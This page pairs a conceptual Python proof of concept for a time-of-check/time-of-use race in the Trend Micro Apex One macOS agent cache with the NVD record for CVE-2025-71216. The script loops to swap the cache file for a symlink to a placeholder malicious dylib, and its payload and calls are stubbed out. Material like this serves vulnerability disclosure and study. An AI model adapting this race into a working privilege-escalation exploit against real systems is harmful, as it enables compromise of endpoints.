CVE-2025-71216

import os import time import threading # Conceptual PoC for TOCTOU on macOS # Exploit scenario: Race condition between file check and usage TARGET_CACHE_FILE = "/Library/Application Support/TrendMicro/Apex One/Cache/vuln.db" MALICIOUS_PAYLOAD = "/tmp/malicious_payload.dylib" def create_payload(): # Create a malicious library or executable with open(MALICIOUS_PAYLOAD, "wb") as f: f.write(b"\x00" * 100) # Placeholder for shellcode print("[+] Malicious payload created") def race_condition_exploit(): print("[*] Starting race condition attack...") while True: # Step 1: Monitor for the check phase (simplified) if os.path.exists(TARGET_CACHE_FILE): try: # Step 2: Replace file or swap symlink during the time window # In a real exploit, precise timing is crucial os.remove(TARGET_CACHE_FILE) os.symlink(MALICIOUS_PAYLOAD, TARGET_CACHE_FILE) print("[!] File replaced/swapped!") # Trigger the high-privilege process usage # This part depends on the specific agent behavior break except Exception as e: # Retry if file is locked or race failed pass time.sleep(0.001) # Tight loop for racing if __name__ == "__main__": # Prerequisite: Attacker already has low-privilege shell access # create_payload() # race_condition_exploit() print("This is a conceptual demonstration of a TOCTOU exploit.")

{"cve": {"id": "CVE-2025-71216", "sourceIdentifier": "[email protected]", "published": "2026-05-21T14:16:44.240", "lastModified": "2026-05-21T15:16:22.037", "vulnStatus": "Undergoing Analysis", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "A time-of-check time-of-use vulnerability in the Trend Micro Apex One (mac) agent cache mechanism could allow a local attacker to escalate privileges on affected installations.\r\n\r\nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\r\n\r\nThe following information is provided as informational only for CVE references, as these were addressed already via ActiveUpdate/SaaS updates in mid to late 2025 (SaaS 2507 & 2005 Yearly Release)."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "references": [{"url": "https://success.trendmicro.com/en-US/solution/KA-0022458", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-142/", "source": "[email protected]"}]}}